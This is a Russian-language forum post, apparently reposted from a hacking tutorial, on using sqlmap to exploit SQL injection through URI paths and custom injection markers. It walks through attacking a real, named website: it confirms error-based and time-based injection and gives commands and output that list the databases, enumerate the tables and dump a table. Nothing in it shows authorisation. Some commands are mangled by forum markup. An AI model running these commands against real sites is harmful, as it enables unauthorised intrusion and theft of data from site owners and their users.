Загрузка...

Использование sqlmap для инъекции в адресе страницы сайта (URI). Произвольные точки инъекции

Тема в разделе Wi-Fi создана пользователем mxlsoermmidh 1 мар 2018. 242 просмотра

Загрузка...
  1. mxlsoermmidh
    mxlsoermmidh Автор темы 1 мар 2018 24 1 мар 2018
    Точка инъекции в URI
    Имеются особые случаи, когда точка инъекции находится внутри самого URI. К примеру, если мы перейдём на страницу http://youfio.ru/name/АГАФЬЯ.html, то увидим веб-сайт:

    [IMG]

    А если в URI мы добавим кавычку, чтобы получилось так
    http://youfio.ru/name/АГАФЬЯ'.html, то мы увидим знакомое:

    [IMG]

    1
    Query failed : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''АГАФЬЯ'') and message.ST<>0 ORDER BY message.DT DESC limit 0,20' at line 4
    sqlmap не выполняет каких либо автоматических тестов в отношении URI путей, если на них не указано вручную. Для этого вам нужно указать точку инъекции в командной строке, добавив звёздочку (*) (Обратите внимание: Havij стиль %INJECT HERE% также поддерживается) после точки URI, которую вы хотите, чтобы sqlmap протестировала и эксплуатировала SQL-инъекцию.

    Это особенно полезно, например, когда используется модуль mod_rewrite веб-сервера Apache или другие подобные технологии.

    Пример правильной команды:

    1
    sqlmap -u "http://targeturl/param1/value1*/param2/value2/"
    Вернёмся к нашей Агафье. Чтобы проверить тот сайт команда должна выглядеть следующим образом:

    1
    sqlmap -u "http://youfio.ru/name/АГАФЬЯ*.html"
    Программа говорит:

    1
    custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q]
    Т.е. в опции '-u' был найден пользовательский маркер инъекции ('*'). Хотим ли мы продолжить – соглашаемся, поскольку никакой ошибки нет.

    Опять программа спрашивает:

    1
    how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C
    Как вы хотите продолжить, на выбор опции (C) – проолжить, (s) – строка, (r) – регулярное выражение, (q) – выйти. Выбираем C, т.е. продолжить.

    Программа говорит:

    1
    it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
    Похоже, что в качестве СУБД установлена MySQL. Хотим ли мы пропустить тесты, предназначенные для других СУБД – соглашаемся.

    Опять вопрос:

    1
    for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
    Для продолжения тестов, вы хотите включить все тесты для расширения 'MySQL', обеспечивающего уровень (1) и риск (1)? Это на ваш выбор – я отказываюсь.

    [IMG]

    Действительно имеется уязвимость SQL-инъекция, об этом говорят строки:


    1
    2
    [17:21:15] [INFO] heuristic (basic) test shows that URI parameter '#1*' might be injectable (possible DBMS: 'MySQL')
    [17:21:15] [INFO] heuristic (XSS) test shows that URI parameter '#1*' might be vulnerable to cross-site scripting (XSS) attacks
    Перевод:

    • эвристический (базовый) тест показал, что URI параметр '#1*' должен быть уязвим (возможная СУБД: 'MySQL')
    • эвристический (базовый) тест показал, что URI параметр '#1*' должен быть уязвим к атакам межсайтового скриптинга (XSS)
    Кстати, если вы не знали, теперь sqlmap проверяет и на XSS.


    Подробности об уязвимости:

    1
    [17:22:05] [INFO] URI parameter '#1*' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
    Версия 'MySQL >= 5.0 и имеется error-based (основанная на ошибке) SQL-инъекция (самая удобная для нападающего, т.к. с её помощью можно быстро получить содержимое баз данных).

    И ещё:

    1
    [17:23:57] [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable
    Уточнена версия MySQL >= 5.0.12, а также имеется time-based blind (слепая, основанная на времени) SQL-инъекция

    Далее, как и при обычных SQL-инъекциях, когда уязвимым является GET или POST параметр, мы получаем список баз данных:

    1
    sqlmap -u "
    http://youfio.ru/name/АГАФЬЯ*.html" --dbs
    На сервере имеются следующие базы данных:

    1
    2
    3
    available databases [2]:
    [*] information_schema
    [*] snicke_youfioru
    [IMG]

    Получаем таблицы в базе данных 'snicke_youfioru':

    1
    sqlmap -u "
    http://youfio.ru/name/АГАФЬЯ*.html" -D 'snicke_youfioru' --tables
    Полученный список таблиц:

    [IMG]


    Получаем содержимое таблицы 'message':

    1
    sqlmap -u "[URL]http://youfio.ru/name/АГАФЬЯ*.html[/URL]" -D 'snicke_youfioru' -T 'message' --dump
    [URL='https://hackware.ru/wp-content/uploads/2018/02/36.png']
    [IMG]

    Произвольная точка инъекции
    По аналогии с URI точкой инъекции, звёздочка (*) (Обратите внимание: Havij стиль %INJECT HERE% также поддерживается) может также использоваться для указания произвольного места внутри GET, POST или HTTP заголовков. Точку инъекции можно указать, отметив её внутри значения(ий) параметра GET, указанного с опцией -u, значения(ий) параметра POST переданного опцией --data, значения(ий) HTTP заголовков, предоставленного опциями -H, --headers, --user-agent, --referer и/или --cookie, или в общем месте внутри HTTP-запроса, загруженного из файла с параметром -r.

    Примером правильной команды может быть:

    1
    sqlmap -u "[URL]http://targeturl[/URL]" --cookie="param1=value1*;param2=value2"
    Звёздочку можно использовать более одного раза, т.е. точек инъекций может быть несколько, например:

    1
    sqlmap -u "[URL]http://www.example.com/*-*[/URL]"[/URL]
     
Top